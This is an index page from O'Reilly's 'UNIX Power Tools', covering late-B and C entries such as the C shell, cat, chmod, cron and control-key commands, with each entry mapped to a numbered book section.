big environment, effects of : 39.8. A Big Environment Can Slow You Down
/bin directory : 4.2. A bin Directory for Your Programs and Scripts
/bin/time utility
39.2. Timing Programs
39.5. Why Is the System So Slow?
programs in : 1.10. Internal and External Commands
in search paths : 44.3.4. Shell Search Paths
binary data, archiving : 19.5. Using tar to Create and Unpack Archives
binary files, searching : 27.19. Finding Words Inside Binary Files
bit bucket
13.15. What to Do with a Full Bit Bucket :-)
24.2. Save Space with Bit Bucket Log Files and Mailboxes
bit rate : 41.2.1. How We Made It This Far (Back?)
bitmap files : 52.4. Quick Descriptions of What's on the Disc
with pbmplus : 52.7.1. Alternative Media
bkedit script : 52.4. Quick Descriptions of What's on the Disc
examples
44.8. Test Exit Status with the if Statement
44.11. Set Exit Status of a Shell (Script)
45.12. Parameter Substitution
blank lines : (see newlines; white space)
blank shell prompt : 7.10. What Good Is a Blank Shell Prompt?
block input operations : 39.3. The csh time variable
block output operations : 39.3. The csh time variable
block sizes, tape : 20.6. Writing a Tape Drive on a Remote Machine
blocking factor : 20.6. Writing a Tape Drive on a Remote Machine
bold text : 43.18. How nroff Makes Bold and Underline; How to Remove It
Boolean capabilities
in termcap or terminfo files : 41.11. How termcap and terminfo Describe Terminals
Bourne shell : (see sh)
Bourne-again shell : (see bash)
Bournegol : 46.6. Watch Out for Bourne Shell -e Bug
Boyer-Moore search algorithm : 27.9. New greps Are Much Faster
braces : (see { })
brackets : (see [ ])
[ ] (brackets)
[ command : 44.20. test: Testing Files and Strings
break command
redirected loops using : 45.23. The Ins and Outs of Redirected I/O Loops
break command (awk) : 33.11.7. Alphabetical Summary of Commands
"broken pipe" error message
46.1.1. Use -xv
50.12. Common UNIX Error Messages
bs capability : 41.11. How termcap and terminfo Describe Terminals
BSD standalone nice : 39.9.2. BSD Standalone nice
BSD tty driver
echoing control characters : 41.5. Why Some Systems Backspace over Prompts
BSD UNIX
alternatives for : 50.8. Which Version Am I Using?
changing a job's priority : 39.11. Changing a Job's Priority Under BSD UNIX
file ownership and : 22.20. Why Can't You Change File Ownership Under BSD UNIX?
manual page categories : 50.1. UNIX Online Documentation
which command : 50.8. Which Version Am I Using?
BSDC shell nice command : 39.9.1. BSD C Shell nice
bsdtar program : 52.4. Quick Descriptions of What's on the Disc
bsplit program
35.9. Splitting Files at Fixed Points: split
52.4. Quick Descriptions of What's on the Disc
buffers for output : 13.9. Send Output Two or More Places with tee
Buggy Bourne Shell : 46.6. Watch Out for Bourne Shell -e Bug
build.pt script : 52.8.1. Running the Build Scripts
buildhash script : 29.5. Adding Words to ispell's Dictionary
built-in commands
7.4. Faster Prompt Setting with Built-Ins
8.11. Which One Will bash Use?
builtin command : 8.11. Which One Will bash Use?
burn-in : 22.18. Clear Your Terminal for Security, to Stop Burn-in
bus error (core dumped) error message : 50.12. Common UNIX Error Messages
byte order conversion
order : 35.13. Other Conversions with dd

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: C

.c filename extension
1.17. Filename Extensions
52.8.2.7. Functions, Libraries, and Header Files
c function (for changing directories) : 14.9. cd by Directory Initials
C language : 52.8.2. Compiling Source Code
compiling : 52.8.2.8. The make Program
source code : 52.8. Building Programs from Source Code
C program header file extension : 1.17. Filename Extensions
C program source file extension : 1.17. Filename Extensions
C shell
.cshrc file : (see .cshrc file)
C shell (csh)
1.8. There Are Many Shells
38.3. Managing Processes: Overall Concepts
44.3.3. Types of Shells
accidental logouts : 3.5. Stop Accidental C Shell Logouts
advantages : 44.3.3. Types of Shells
aliases : 10.7. How to Put if-then-else in a C Shell Alias
array support : 45.34. Arrays in the Bourne Shell
arrays in : 47.5. Using C Shell Arrays
automatically killing background processes : 38.17. Automatically Kill Background Processes on Logout in csh
avoiding alias loops : 10.6. Avoiding C Shell Alias Loops
background processing : 1.27. How Background Processing Works
bash shells compared to : 47.1. Why Not?
Bourne shell compared to
47.1. Why Not?
47.2. C Shell Programming Considered Harmful
Bourne shell replacing
45.6. Making Sure Your Script Runs with Bourne Shell, Without #!
45.7. The exec Command
bugs in : 47.2. C Shell Programming Considered Harmful
built-in string operators : 7.4. Faster Prompt Setting with Built-Ins
command history
11.1. The Lessons of History
(see history of command)
command name for : 42.2.5. Aborting Programs
command tools and : 1.14. The Kernel and Daemons
configuration files : 2.7. C Shell Setup Files Aren't Read When You Want Them to Be?
creating empty file : 21.7. Setting File Modification Time with touch
default prompt : 7.1. Why Change Your Prompt?
defining variables : 6.8. Shell Variables
disadvantages
44.3.3. Types of Shells
47.1. Why Not?
47.2. C Shell Programming Considered Harmful
echo command : 8.6.1. Portability
editing history substitutions : 9.6. String Editing (Colon) Operators
environment variables : 47.2.5. Variable Syntax
error handling : 47.2.7. Error Handling
eval command : 5.3. Setting the Terminal Type When You Log In
executing scripts via : 40.4. Choosing the Shell Run (We Hope) by at
expressions in
47.4.2. Expressions
47.4.4. Examples
-f option : 2.5.1. Quick Login
flow control in : 47.2.2.2. Flow Control
foreach loop : 9.11. Repeating a Command with a foreach Loop
history : 51.7. When You Get Impatient
history characters : 11.15. Changing C Shell History Characters with histchars
history file : 11.11.2. C Shell
if loops in : 47.2.6. Expression Evaluation
importing commands : 8.12. Which One Will the C Shell Use?
interpreting commands : 8.5. Command-Line Evaluation
Korn shell compared to : 47.1. Why Not?
.logout file : 3.1. Running Commands When You Log Out
mail notification : 21.8.1. For C Shell Users
managing file descriptors : 47.2.1. File Descriptors
matching word, escaping : 8.18. Here Documents
multiline commands : 9.13. Multiline Commands, Secondary Prompts
nesting aliases : 10.2.3. Setting Aliases Automatically, Unsetting Aliases
noclobber variable : 13.6. Safe I/O Redirection with noclobber
operator precedence in : 47.4.2. Expressions
overriding environment variables : 6.10. Running a Command with a Temporarily Different Environment
parsing in : 47.2.2.3. Stupid Parsing Bugs
passing command history to : 11.12. Pass History to Another Shell
pipelines in : 47.2.1.4. More Elaborate Combinations
quoting in
8.15. Differences Between Bourne and C Shell Quoting
47.2.4. Quoting
random number generators : 45.11. The Multipurpose jot Command
redirecting input/output : 13.5. Redirection in C Shell: Capture Errors, Too?
redirecting stdin : 13.1. Using Standard Input and Output
rehash command : 4.2. A bin Directory for Your Programs and Scripts
repeat command : 9.25. The C Shell repeat Command
script file extension : 1.17. Filename Extensions
set nonomatch command : 3.4. Automatic File Cleanup
shell variables : 6.9. Special C Shell Variables
special characters/operators in : 8.19. "Special" Characters and Operators
speeding up : 2.9. Speeding Up Your C Shell with set prompt Test
standard input : 47.2.1.2. Reading Files
standard output : 47.2.1.4. More Elaborate Combinations
stray prompt problems : 7.3. C Shell Prompt Causes Problems in vi, rsh, etc.
trapping signals : 47.2.3. Signals
variable syntax : 47.2.5. Variable Syntax
C shell scripts
exit status inserted : 44.7. Exit Status of UNIX Processes
-f option : 45.4. Fun with #!
interrupted : 45.8. Handling Signals to Child Processes
quoting in : 46.7. Quoting and Command-Line Parameters
c-w script : 22.10. cx, cw, c-w: Quick File Permission Changes
C132 script : 52.4. Quick Descriptions of What's on the Disc
C80 script : 52.4. Quick Descriptions of What's on the Disc
cal program : 48.6. Get Calendar for Any Month or Year: cal
calen program versus : 48.8. Calendar for 132-Column Terminals or Printers
printing : 48.9. PostScript Calendars with pcal
cal_today script
48.7. cal That Marks Today's Date
52.4. Quick Descriptions of What's on the Disc
calculators
49.1. bc: Simple Math at the Shell Prompt
(see also bc program)
spreadsheets vs. : 49.8. It's Great to Have a Spreadsheet
types of : 49.1. bc: Simple Math at the Shell Prompt
calen program
48.8. Calendar for 132-Column Terminals or Printers
52.4. Quick Descriptions of What's on the Disc
.calendar file, pcal using : 48.9. PostScript Calendars with pcal
calendar program : 48.4. Automatic Reminders and More: calendar
sending one-line reminders : 40.11. Send Yourself Reminder Mail
cancel command (System V) : 43.2.1. System V Printing Commands
"canonicalized" input lines : 41.2.1. How We Made It This Far (Back?)
capability lines in termcap or terminfo files : 41.11. How termcap and terminfo Describe Terminals
capitalization : (see case sensitivity)
CAPS LOCK, typing without : 31.11. Typing in Uppercase Without CAPS LOCK
caret : (see ^)
carriage returns
41.2.1. How We Made It This Far (Back?)
(see newline character)
case command : 45.22. Handling Files Line-by-Line
case sensitivity : 1.15. Filenames
ispell program and : 29.2. Check Spelling Interactively with ispell
search patterns : 27.16. Faking Case-Insensitive Searches
vi and ex editors and : 30.17. Capitalizing Every Word on a Line
case statement
2.12. Automatic Setups for Different Terminals
44.5. Test String Values with Bourne Shell case
advantages : 45.33. Testing Two Strings with One case Statement
egrep expressions built : 48.2. Online Phone and Address Lists
errors caused by : 46.1.4. Missing or Extra esac, ;;, fi, etc.
examples
44.5. Test String Values with Bourne Shell case
44.16. Handling Command-Line Arguments with a for Loop
44.17. Handling Arguments with while and shift
48.2. Online Phone and Address Lists
51.3. ASCII Characters: Listing and Getting Values
handling command-line arguments : 44.17. Handling Arguments with while and shift
in while loops : 44.17. Handling Arguments with while and shift
pattern matching in : 44.6. Pattern Matching in case Statements
test command compared to : 45.33. Testing Two Strings with One case Statement
testing two strings using : 45.33. Testing Two Strings with One case Statement
cat command
1.2. Who Listens to What You Type?
13.2. One Argument with a cat Isn't Enough
25.2. Four Ways to Skin a cat
25.5. Page Through Compressed, RCS, Unprintable Files
backslash character and : 8.6.1. Portability
combining files : 8.4. Command Evaluation and Accidentally Overwriting Files
-e option
16.13. Can't Access a File? Look for Spaces in the Name
25.6. What's in That White Space?
examples
44.9. Testing Your Success
44.10.1. Looping Until a Command Succeeds
for loops combined with : 45.16. Standard Input to a for Loop
-n option : 25.21. Numbering Lines
-s option : 25.11. crush: A cat that Skips all Blank Lines
starting pipelines : 1.4. Using Pipes to Create a New Tool
-t option : 25.6. What's in That White Space?
-v option
25.6. What's in That White Space?
25.7. Show Non-Printing Characters with cat -v or od -c
41.12. Finding Out What Characters Your Terminal's Special Keys Send
catman program, egrep versus : 50.3. apropos on Systems Without apropos
catsaway script : 52.4. Quick Descriptions of What's on the Disc
examples : 44.10.2. Looping Until a Command Fails
cbreak mode
41.2.1. How We Made It This Far (Back?)
41.7. Reading Verrrry Long Lines from the Terminal
cbw program : 22.17. Ways of Improving the Security of crypt
cd command
3.4. Automatic File Cleanup
7.6. Session Information in Your Terminal's Status Line
14.3. What Good Is a Current Directory?
(see also current directory)
- option : 14.6. The Shells' pushd and popd Commands
aliases for : 14.8. Quick cds with Aliases
cdpath variable and : 14.5. Saving Time When You Change Directories: cdpath
directory initials and : 14.9. cd by Directory Initials
in subshells : 13.8. Using {list} to Group Bourne Shell Commands
CD-ROM (with this book) : 52.1. Introduction
CD-ROM formats : 52.5.1. CD-ROM Formats
:cdpath in csh : 14.5. Saving Time When You Change Directories: cdpath
CDPATH environment variable : 14.5. Saving Time When You Change Directories: cdpath
cdpath shell variable
6.9. Special C Shell Variables
14.5. Saving Time When You Change Directories: cdpath
as array : 47.5. Using C Shell Arrays
center script : 52.4. Quick Descriptions of What's on the Disc
centering lines, awk script : 35.8. Centering Lines in a File
cgrep script
27.11. A Multiline Context grep Using sed
27.13. More grep-like Programs Written in Perl
34.17. Searching for Patterns Split Across Lines
52.4. Quick Descriptions of What's on the Disc
cgrep.sed script : 52.4. Quick Descriptions of What's on the Disc
change command (ex) : 33.4. Useful ex Commands
change times : 16.5. The Three UNIX File Times
character codes in termcap and terminfo databases : 41.11.1. Special Character Codes
character sets
26.4. Using Metacharacters in Regular Expressions
26.4.2. Matching a Character with a Character Set
character strings
grabbing : 45.30. Grabbing Parts of a String
parsing : 45.30. Grabbing Parts of a String
testing : 45.33. Testing Two Strings with One case Statement
testing using expr : 45.29. Testing Characters in a String with expr
characters
counting : 29.6. Counting Lines, Words, and Characters: wc
handling most : 41.2.2. Handling Most Characters
nonprintable : (see special characters)
sending repeated to terminals : 42.7. termtest: Send Repeated Characters to Terminal
sent by special keys : 41.12. Finding Out What Characters Your Terminal's Special Keys Send
special : (see special characters)
check command (SCCS) : 20.13. SCCS Basics
checksed script
34.3.1. checksed
52.4. Quick Descriptions of What's on the Disc
chgrp command
1.23. File Access Permissions
22.5. Group Permissions in a Directory with the setgid Bit
52.4. Quick Descriptions of What's on the Disc
child processes
38.3. Managing Processes: Overall Concepts
45.8. Handling Signals to Child Processes
(see also processes)
changes to environment of : 38.4. Subshells
file descriptors given to : 45.20. Overview: Open Files and File Descriptors
killing : 38.10. Destroying Processes with kill
relationship to parent : 38.3. Managing Processes: Overall Concepts
child signal : 38.8. What Are Signals?
CHLD (child) signal : 38.8. What Are Signals?
chmod command
22.7. Using chmod to Change File Permission
52.4. Quick Descriptions of What's on the Disc
= operator : 22.8. The Handy chmod = Operator
described : 44.2. Writing a Simple Shell Program
examples : 44.2. Writing a Simple Shell Program
-R option
22.7. Using chmod to Change File Permission
22.8. The Handy chmod = Operator
chmod_edit script : 52.4. Quick Descriptions of What's on the Disc
chown command
1.23. File Access Permissions
22.21. How to Change File Ownership Without chown
52.4. Quick Descriptions of What's on the Disc
Christiansen, Tom : 13.2. One Argument with a cat Isn't Enough
on C shell disadvantages : 47.1. Why Not?
on directory stacks : 47.5. Using C Shell Arrays
chsh command : 2.16. Approved Shells: Using Unapproved Login Shell
chunksort script
36.7. Sorting Multiline Entries
52.4. Quick Descriptions of What's on the Disc
ci command (RCS) : 20.14. RCS Basics
cleanup script
3.4. Automatic File Cleanup
23.22. Using find to Clear Out Unneeded Files
52.4. Quick Descriptions of What's on the Disc
cleanup.sed script : 52.4. Quick Descriptions of What's on the Disc
clear command
3.1. Running Commands When You Log Out
22.18. Clear Your Terminal for Security, to Stop Burn-in
42.4. Checklist for Resetting a Messed Up Terminal
clear screen function in terminal setup menu : 42.4. Checklist for Resetting a Messed Up Terminal
Clear script : 52.4. Quick Descriptions of What's on the Disc
clear script : 41.9. Commands to Adjust Your Terminal
clf script
16.6. clf, cls: "Compressed" ls Listings
52.4. Quick Descriptions of What's on the Disc
clf2 script
16.6. clf, cls: "Compressed" ls Listings
52.4. Quick Descriptions of What's on the Disc
clipboard, creating in terminal windows : 48.3. A Scratchpad on Your Screen
clock in UNIX
51.2. How UNIX Keeps Time
51.10. The date Command
close command (awk) : 33.11.7. Alphabetical Summary of Commands
closing
file descriptors : 47.2.1.3. Closing FDs
files : 45.21. n>&m: Swap Standard Output and Standard Error
clri command : 23.13. Deleting Files with the Null Name
ClrStatus script : 52.4. Quick Descriptions of What's on the Disc
cls script
16.6. clf, cls: "Compressed" ls Listings
52.4. Quick Descriptions of What's on the Disc
cls2 script
16.6. clf, cls: "Compressed" ls Listings
52.4. Quick Descriptions of What's on the Disc
cmd field
in crontab entries : 40.12.1. Execution Scheduling
cmp program
28.11. cmp and diff
52.4. Quick Descriptions of What's on the Disc
co command (RCS) : 20.14. RCS Basics
col command
43.18. How nroff Makes Bold and Underline; How to Remove It
50.3. apropos on Systems Without apropos
colcrt command : 43.18. How nroff Makes Bold and Underline; How to Remove It
Collinson, Peter : 44.14. Putting awk, sed, etc., Inside Shell Scripts
colrm command : 35.15. Cutting Columns with colrm
advantages : 45.30.2. Using echo with awk, colrm, or cut
awk compared to : 45.30.2. Using echo with awk, colrm, or cut
cols script : 52.4. Quick Descriptions of What's on the Disc
columns
formatting : 35.14. Cutting Columns or Fields with cut
selecting
35.14. Cutting Columns or Fields with cut
35.15. Cutting Columns with colrm
straightening : 35.22. Straightening Jagged Columns
totaling using addup : 49.7. Total a Column with addup
comm command
2.14. motd.diff: Show New Lines in Login Messages
16.23. Comparing Filenames in Two Directory Trees
28.12. Comparing Two Files with comm
comma (,) in filenames : 1.15. Filenames
command
resetting search table : 44.2. Writing a Simple Shell Program
command characters : (see special characters)
command command : 8.11. Which One Will bash Use?
command directories : 6.1. What Environment Variables Are Good For
command interpreters
1.2. Who Listens to What You Type?
44.3. What's a Shell, Anyway?
(see also shells)
command line
advantages : 9.1. What's Special About the UNIX Command Line
aliases for arguments
10.2.2. Using More Complex Aliases
10.3. C Shell Aliases with Command-Line Arguments
arguments : 8.6. Output Command-Line Arguments
changing path on : 8.7.2. Changing Path on the Command Line
deleting on : 9.2. Fix a Line Faster with Line-Kill and Word-Erase
editing : 11.13. Shell Command-Line Editing
editing on : 11.1. The Lessons of History
evaluating : 8.5. Command-Line Evaluation
filenames on : 13.13. The "Filename" -
interpreted by shell : 1.2. Who Listens to What You Type?
parsing : 8.9. Wildcards Inside of Aliases
reprinting : 9.3. Reprinting Your Command Line with CTRL-r
saving to file : 1.5. Anyone Can Program the Shell
as shell scripts : 44.2. Writing a Simple Shell Program
submitting for execution at a later time : 40.3. The at Command
too-long commands : 9.20. Too Many Files for the Command Line
"command not found" error message : 50.12. Common UNIX Error Messages
command runtimes
averages of : 39.4. Average Command Runtimes with runtime
command substitution
in for loops : 44.16. Handling Command-Line Arguments with a for Loop
nested : 45.31. Nested Command Substitution
command-line arguments
character limit : 50.12. Common UNIX Error Messages
counting : 44.15.2. With a Loop
finding last : 45.14. Finding the Last Command-Line Argument
for loops
44.15.2. With a Loop
44.16. Handling Command-Line Arguments with a for Loop
in Bourne shell scripts : 44.15. Handling Command-Line Arguments in Shell Scripts
in Korn Shell scripts : 44.15. Handling Command-Line Arguments in Shell Scripts
listing using expr : 45.30.1. Matching with expr
parsing
44.18. Standard Command-Line Parsing
44.19. The Bourne Shell set Command
quoting : 46.7. Quoting and Command-Line Parameters
removing : 44.15.2. With a Loop
saving original settings : 44.19. The Bourne Shell set Command
setting : 44.19. The Bourne Shell set Command
starting with - (minus) : 44.16. Handling Command-Line Arguments with a for Loop
unsetting : 45.15. How to Unset all Command-Line Parameters
commands
1.4. Using Pipes to Create a New Tool
(see also under specific command name)
aliases for : 8.8. A Directory for Commands You Shouldn't Run
ampersand (&) character at the end of : 38.3. Managing Processes: Overall Concepts
awk utility : 33.11.6. Group Listing of awk Commands
background
3.1. Running Commands When You Log Out
3.4. Automatic File Cleanup
banner : 43.11. Big Letters: banner
Berkeley printing commands : 43.2.2. Berkeley Printing Commands
blocked processes : 39.12.3. The I/O Subsystem
built-in
7.4. Faster Prompt Setting with Built-Ins
8.11. Which One Will bash Use?
38.2. fork and exec
47.2.2.1. Built-Ins
col : 43.18. How nroff Makes Bold and Underline; How to Remove It
colcrt : 43.18. How nroff Makes Bold and Underline; How to Remove It
combining : 13.7.1. Combining Several Commands
command substitution : 9.16. Command Substitution
custom : (see custom commands)
displaying running : 39.6. lastcomm: What Commands Are Running and How Long Do They Take?
Emacs command completion : 32.6. Command Completion
ex editor : 33.4. Useful ex Commands
exit status : 44.7. Exit Status of UNIX Processes
finding : 16.10. findcmd: Find a Command in Your Search Path
fold : 43.8. Fixing Margins with pr and fold
for adjusting terminals : 41.9. Commands to Adjust Your Terminal
history of : (see history of command)
how to issue terminals : 41.11. How termcap and terminfo Describe Terminals
in .logout file : 3.1. Running Commands When You Log Out
multiline : 9.13. Multiline Commands, Secondary Prompts
multiple, while loops using : 45.19. A while Loop with Several Loop Control Commands
naming : 44.21. Picking a Name for a New Command
numeric returns : 44.7. Exit Status of UNIX Processes
pr
43.7. Quick-and-Dirty Formatting Before Printing
43.10. Filename Headers Above Files Without pr
printed in parentheses in ps output : 38.7. Why ps Prints Some Commands in Parentheses
printing
System V : 43.2.1. System V Printing Commands
recalling : (see history of command)
redefining with aliases : 10.2.3. Setting Aliases Automatically, Unsetting Aliases
repeating
9.11. Repeating a Command with a foreach Loop
11.8. Repeating a Cycle of Commands
51.7. When You Get Impatient
RETURN key not used with : 45.32. A Better read Command: grabchars
running a series of : 11.9. Running a Series of Commands on a File
running at login : 2.2.2. C Shell
running by typing a single character : 42.4. Checklist for Resetting a Messed Up Terminal
running number of them and averaging : 39.4. Average Command Runtimes with runtime
running on compressed files : 24.10. zloop: Run a Command on Compressed Files
sed editor : 43.21. Preprocessing troff Input with sed
shell interpretation of : 8.1. What the Shell Does
storing : 4.9. Setting Up vi with the .exrc File
with temporarily different environment : 6.10. Running a Command with a Temporarily Different Environment
throwaway scripts for : 9.15. Throwaway Scripts for Complicated Commands
too long for command line : 9.20. Too Many Files for the Command Line
typing at the shell prompt : 38.3. Managing Processes: Overall Concepts
ul : 43.18. How nroff Makes Bold and Underline; How to Remove It
versions : 44.1. Everyone Should Learn Some Shell Programming
writing manual pages for
50.10. Make Your Own Man Pages Without Learning troff
50.11. Writing a Simple Man Page with the -man Macros
commenting
Bourne shell scripts : 44.2. Writing a Simple Shell Program
ease of use : 44.14. Putting awk, sed, etc., Inside Shell Scripts
examples : 44.14. Putting awk, sed, etc., Inside Shell Scripts
in termcap or terminfo files : 41.11. How termcap and terminfo Describe Terminals
starting with # (pound) : 45.2. The Story of : # #!
starting with : : 45.9. The Unappreciated Bourne Shell ":" Operator
starting with : (colon) : 45.2. The Story of : # #!
communication parameters, changing on the fly : 42.1. Making Sense Out of the Terminal Mess
communications utilities : 1.33. UNIX Networking and Communications
comparing
directory trees : 16.22. Comparing Two Directory Trees with dircmp
editing and : 28.9. ex Scripts Built by diff
filenames : 16.23. Comparing Filenames in Two Directory Trees
files : 18.9. Renaming, Copying, or Comparing a Set of Files
bdiff command : 28.7. diff for Very Long Files: bdiff
cmp program : 28.11. cmp and diff
comm command : 28.12. Comparing Two Files with comm
diff command
28.1. Checking Differences with diff
28.3. Context diffs
diff3 script : 28.2. Comparing Three Different Versions with diff3
diffmk command : 28.15. Show Changes in a troff File with diffmk
make utility for : 28.13. make Isn't Just for Programmers!
sdiff command
28.4. Side-by-Side diffs: sdiff
28.6. Choosing Sides with sdiff
twin program : 28.5. Comparing Files Alongside One Another
word counts : 29.6. Counting Lines, Words, and Characters: wc
competion, filename : 11.13. Shell Command-Line Editing
compilation process
52.8.2.7. Functions, Libraries, and Header Files
52.8.2.8. The make Program
compiling programs : 52.8.2. Compiling Source Code
complete shell variable : 6.9. Special C Shell Variables
completion, filename : 9.8. Filename Completion: Faster Filename Typing
compress utility : 24.7. Compressing Files to Save Space
compressed files
1.17. Filename Extensions
24.7. Compressing Files to Save Space
editing : 24.11. Edit Compressed Files with zvi, zex, and zed
in entire directory tree
24.8. Save Space: tar and compress a Directory Tree
24.12. Compressing a Directory Tree: Fine-Tuning
paging through : 25.5. Page Through Compressed, RCS, Unprintable Files
running commands on : 24.10. zloop: Run a Command on Compressed Files
whitespace and : 24.6. Save Space with Tab Characters
compressor script : 21.5. What Good Is a File's Last Access Time?
conditional expressions : (see expressions, conditional)
configuration files
for csh : 2.7. C Shell Setup Files Aren't Read When You Want Them to Be?
pathnames in : 2.6. Use Absolute Pathnames in Shell Setup Files
shells : 2.2. Shell Setup Files-Which, Where, and Why
configure shell script : 52.8.2.6. An Easy Build
configuring terminals
5.1. There's a Lot to Know About Terminals
5.6. Checklist: Terminal Hangs When I Log In
5.10. Finding What Terminal Names You Can Use
conserving disk space : (see disk space)
CONT (continue) signal : 38.8. What Are Signals?
continue command (awk) : 33.11.7. Alphabetical Summary of Commands
continue signal : (see CONT signal)
control characters : 41.11.1. Special Character Codes
Emacs and : 32.10. Inserting Binary Characters into Files
ex and vi editors and : 31.6. Protecting Keys from Interpretation by ex
in scripts : 45.35. Using a Control Character in a Script
storing : 51.6. Cleaning script Files
control characters, echoing in BSD : 41.5. Why Some Systems Backspace over Prompts
control echo : 41.2.3. What About TABs?
controlling process : 38.3. Managing Processes: Overall Concepts
controlling terminal : 38.6. The Controlling Terminal
conversion, base
cvtbase used for : 49.5. Base Conversion Using cvtbase
problems : 49.3. Gotchas in Base Conversion
conversion, binary
bc program used for : 49.2. bc: Hexadecimal or Binary Conversion
conversion, hexadecimal
bc program used for : 49.2. bc: Hexadecimal or Binary Conversion
cooked mode : 41.2.1. How We Made It This Far (Back?)
Cooper, Michael : 5.5. Querying Your Terminal Type: qterm
COPTS declaration line
-I option : 52.8.2.8. The make Program
copy command (ex) : 33.4. Useful ex Commands
copying
directory trees : 18.15. Copying Directory Trees with cp -r
files
18.1. What's So Complicated About Copying Files?
18.2. What's Really in a Directory
18.9. Renaming, Copying, or Comparing a Set of Files
21.11. Safer Removing, Moving, and Copying
(see also moving files; renaming files)
to directories : 21.12. Copying Files to a Directory
files to different directories : 45.25. Shell Scripts On-the-Fly from Standard Input
links : 18.15. Copying Directory Trees with cp -r
permissions : 22.16. Copying Permissions with cpmod
text, in vi : 30.8. Get Back What You Deleted with Numbered Buffers
core dumps : 24.5. Limiting File Sizes
made by QUIT signal : 38.9. Killing Foreground Jobs
cos command (awk) : 33.11.7. Alphabetical Summary of Commands
count.it script
29.6. Counting Lines, Words, and Characters: wc
52.4. Quick Descriptions of What's on the Disc
count_types script : 52.4. Quick Descriptions of What's on the Disc
counting occurrences : 30.16. Counting Occurrences; Stopping Search Wraps
counting text elements : 29.6. Counting Lines, Words, and Characters: wc
wordfreq script : 29.7. Count How Many Times Each Word Is Used
cp command
1.33. UNIX Networking and Communications
52.4. Quick Descriptions of What's on the Disc
(see also rcp utility)
-b option : 21.11. Safer Removing, Moving, and Copying
-i option : 21.11. Safer Removing, Moving, and Copying
-p option : 22.21. How to Change File Ownership Without chown
-r option : 18.15. Copying Directory Trees with cp -r
cpio command : 19.9. A System V Tape Archiver: cpio
-d option : 19.9. A System V Tape Archiver: cpio
-i option : 19.9. A System V Tape Archiver: cpio
-o option : 19.9. A System V Tape Archiver: cpio
-v option : 19.9. A System V Tape Archiver: cpio
cpmod : 52.4. Quick Descriptions of What's on the Disc
cpmod utility : 22.16. Copying Permissions with cpmod
CPU contention
measuring : 39.12.1. The CPU
CPU system time : 39.3. The csh time variable
CPU time
39.2. Timing Programs
39.5. Why Is the System So Slow?
as percentage of elapsed time : 39.3. The csh time variable
CPU user time : 39.3. The csh time variable
cron command : 40.12.1. Execution Scheduling
cron daemon : 40.12.1. Execution Scheduling
cron jobs
environment of : 40.12. Periodic Program Execution: The cron Facility
including standard input within : 40.14. Including Standard Input Within a cron Entry
schedule : 40.12.1. Execution Scheduling
cron system : 40.12.1. Execution Scheduling
crontab command
40.1. Off-Peak Job Submission
40.13. Adding crontab Entries
40.15. crontab Script Makes crontab Editing Easier/Safer
crontab command:script : 52.4. Quick Descriptions of What's on the Disc
crontab entries : 40.12.1. Execution Scheduling
adding : 40.13. Adding crontab Entries
editing : 40.13. Adding crontab Entries
example : 40.12.1. Execution Scheduling
removing : 40.13. Adding crontab Entries
crontab files
adding calendar information to : 48.4.3. Automating Your Own Calendar
personal : 40.5. Avoiding Other at and cron Jobs
"cross-device link" error message : 50.12. Common UNIX Error Messages
crush script
25.11. crush: A cat that Skips all Blank Lines
52.4. Quick Descriptions of What's on the Disc
Crypt Breaker's Workbench program : 22.17. Ways of Improving the Security of crypt
crypt utility : 22.17. Ways of Improving the Security of crypt
csh : (see C shell)
csh command name : 42.2.5. Aborting Programs
.csh filename extension : 1.17. Filename Extensions
csh time variable
39.2. Timing Programs
39.3. The csh time variable
csh_init : 52.4. Quick Descriptions of What's on the Disc
on PowerTools disk
47.5. Using C Shell Arrays
50.8. Which Version Am I Using?
csh_logout : 52.4. Quick Descriptions of What's on the Disc
.cshrc file
2.2.2. C Shell
2.5.1. Quick Login
2.7. C Shell Setup Files Aren't Read When You Want Them to Be?
2.9. Speeding Up Your C Shell with set prompt Test
# in : 10.2.1. Simple Aliases
creating multiline prompt : 7.11. dirs in Your Prompt: Better than $cwd
if statements in : 47.3. Conditional Statements with if
prompt setting
7.2. Basics of Setting the Prompt
7.5. Multiline Shell Prompts
setting search path : 8.7.1. Setting Path in Shell Setup Files
SHLVL environment variable : 7.9. Show Subshell Level with $SHLVL
symlinks workaround : 14.13. Which Directory Am I in, Really?
.cshrc.$HOST file : 2.13. A .cshrc.$HOST File for Per Host Setup
CSHRC_READ variable : 2.10. Gotchas in set prompt Test
csplit program
35.10. Splitting Files by Context: csplit
52.4. Quick Descriptions of What's on the Disc
ctags command : 30.28. Keep Track of Functions and Included Files with ctags and tags
ctime, defined : 16.5. The Three UNIX File Times
CTRL -\(to quit)
41.2.1. How We Made It This Far (Back?)
42.2.5. Aborting Programs
CTRL key : 5.8. Terminal Escape Sequences
specifying with stty command : 5.9. Setting Your Erase, Kill, and Interrupt Characters
CTRL-/ command : 38.9. Killing Foreground Jobs
CTRL-c command
9.19. For the Impatient: Type-Ahead
38.9. Killing Foreground Jobs
aborting programs : 42.2.5. Aborting Programs
CTRL-d command
2.5.1. Quick Login
3.5. Stop Accidental C Shell Logouts
41.2.1. How We Made It This Far (Back?)
flushing the input buffer : 41.7. Reading Verrrry Long Lines from the Terminal
to end scripts : 51.5. Copy What You Do with script
typing command lines in at : 40.3. The at Command
CTRL-h command : 41.2.2. Handling Most Characters
CTRL-j command : 42.4. Checklist for Resetting a Messed Up Terminal
CTRL-l command : 42.5. Checklist: Screen Size Messed Up?
CTRL-m character
1.29. When Is a File Not a File?
4.9. Setting Up vi with the .exrc File
CTRL-q command : 41.2.4. Flow Control (We Hope)
killing processes : 38.15. Cleaning Up an Unkillable Process
restarting output : 42.2.1. Output Stopped?
CTRL-r (reprint) character : 9.3. Reprinting Your Command Line with CTRL-r
CTRL-s command : 41.2.4. Flow Control (We Hope)
stopping output : 42.2.1. Output Stopped?
CTRL-u (line-kill) character : 9.2. Fix a Line Faster with Line-Kill and Word-Erase
CTRL-w (word-erase) character : 9.2. Fix a Line Faster with Line-Kill and Word-Erase
CTRL-x (line-kill) character : 9.2. Fix a Line Faster with Line-Kill and Word-Erase
CTRL-z command
1.28. Some Gotchas with Background Processing
